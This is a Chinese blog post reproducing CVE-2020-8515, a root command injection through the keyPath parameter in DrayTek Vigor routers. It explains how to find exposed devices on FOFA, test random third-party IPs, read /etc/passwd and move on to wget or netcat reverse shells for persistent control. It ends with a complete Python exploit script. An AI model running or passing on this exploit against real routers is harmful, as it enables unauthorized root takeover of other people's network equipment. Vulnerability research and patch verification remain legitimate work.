CVE-2020-8515 draytek企業級路由器命令執行漏洞復現

CVE-2020-8515 draytek企業級路由器命令執行漏洞復現


0x01 寫在前面

這陣子在進行路由器漏洞研究,漏洞的復現過程是乾澀,枯燥的,並且很容易碰壁,但是隨着漸漸的復現漏洞的數量變多,對漏洞的瞭解,理解也越來越深入,對路由器現階段存在的已知漏洞有所收集,路由器的許多危害大的漏洞一般出現在web的cgi中,存在於登錄界面的一些字段沒有被好好處理而導致的命令執行漏洞,以及一些登錄錯誤卻返回重置密碼的token低級錯誤而衍生的高危漏洞。今天介紹的漏洞是今年3月份報出來的dratek的遠程命令執行漏洞。

0x02 漏洞簡述

臺灣DrayTek製造的企業級網絡設備爆出了RCE,漏洞編號爲CVE-2020-8515。
DrayTek Vigor300B cgi-bin/mainfunction.cgi URI未能正確處理SHELL字符,遠程攻擊者可以利用該漏洞提交特殊的請求,可以ROOT權限執行任意命令。
受影響的設備: Vigor2960 < v1.5.1、Vigor300B < v1.5.1、Vigor3900 < v1.5.1
截止現在爲止,在FOFA,鍾馗之眼、shodan中搜索title=“Vigor2960”,經POC仍然測試,發現很多已經修復了漏洞,但是還是有一部分仍然存在這個漏洞。僅在fofa中搜索Vigor2960就有26653個。

0x03 漏洞復現

首先根據漏洞簡述和github中公開的POC,可以看出漏洞存在於cgi-bin/mainfunction.cgi中。並且是由於在登錄的時候該漏洞是由於執行過程中可執行文件 /www/cgi-bin/mainfunction.cgi 沒有成功過濾keyPath參數,導致可利用的命令注入。攻擊者可以在payload中加入一些%27%0A 這樣的特殊字符來繞過檢車和實現預認證命令注入。
首先FOFA 搜索設備,從裏面找隨意找一個IP進行測試,有可能測試的路由器已經修復了,經過我的測試,大部分已經修復了。
在這裏插入圖片描述
首先訪問路由器,看看是不是蜜罐。
在這裏插入圖片描述
然後隨便輸入用戶名和密碼,點擊登錄,使用burpsuit代理截包,查看請求的payload。
在這裏插入圖片描述
你會發現payload中會有action,keyPath,loginUser,loginPwd參數,其中keyPath參數,是可以進行命令注入的點

payload:action=login&keyPath=EBB4CD7BD27E14E826E4B129B0FE34&loginUser=Q5JwEpMddILNVVubQbxzrAvzu/VWEbM7kQ0w
+1iEJie5IpMeEG3QsDKtsiFyGpyIkvIhuY9q9h0HPZ/fDbtm7A==&loginPwd=NSH5m7Qzlq8tanR9W5xJSCEQj4cS1GJsbNF+ifcQJSGSS
oZTF5g2RCtjvvr+vMixSSMqjlfsuzFA3MTFKrqsrg==&formcaptcha=bnVsbA==&rtick=null

有的路由器此漏洞已經修復了,當我進行登錄的時候,提交的參數中已經沒有keypath參數了,並且loginUser和loginPwd也更改了參數。並且還加密了。下圖就是已經修復了路由器登錄的payload。
在這裏插入圖片描述
通過把自己構造的keypath,在keypath 中放入注入的命令,使用POST發送到路由器中。
在這裏插入圖片描述
github中有這個漏洞的exp,但是我在運行的時候報錯了,它的exp是使用創宇的pocsuite庫寫的,報的錯誤是"pocsuite.lib.core.exception.PocsuiteDataException: unable to access item ‘registeredPocs’"。知道的老鐵幫忙解決一下。最後無奈只能自己寫了一些EXP。
運行EXP
執行cat /etc/passwd。 如下圖所示,後面測試了一下wget命令,測試成功,那麼可以自己搞個shell,然後執行wget命令,從而穩定的控制路由器。或者向路由器上傳一個完整版的busybox,通過nc進行反彈shell。具體的可以自己去嘗試。
在這裏插入圖片描述

0x04 EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import socket
import time
import logging
import random
import string
import sys
import time
import urlparse
from pocsuite.api.utils import randomStr

def run_cmd(url,cmd):
	try:
	    headers = {
		"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
	    }
	    url = url + "/cgi-bin/mainfunction.cgi"
            print(url)
	    data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
            print(data)
	    res = requests.post(url=url, data=data, timeout=(10, 15), headers=headers)
	    print(res.text)
            if res.status_code == 200:
		print(res.text)
		#return res.text
	    else:
		print("404")
	except Exception as e:
	    print(e)
def verify(url):
         host = urlparse.urlparse(url).hostname
         port = urlparse.urlparse(url).port
         scheme = urlparse.urlparse(url).scheme
         if port is None:
            port = "80"
         else:
            port = str(port)
         if "https" == scheme:
            url = "%s://%s" % (scheme, host)
         else:
            url = "%s://%s:%s" % (scheme, host, port)
         print('url::::'+url)
         flag = randomStr(10)
         check = run_cmd(url,"ls")
         print(flag,check)
def main():
	# 受害者URL
	url = ""
	# 需要執行的命令
	cmd = ""
	verify(url)
if __name__=='__main__':
    main()

0x05 參考

  • https://github.com/imjdl/CVE-2020-8515-PoC

  • https://www.hayasec.me/2020/03/31/cve-2020-8515/

  • https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html

紙上得來終覺淺,絕知此事要躬行

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章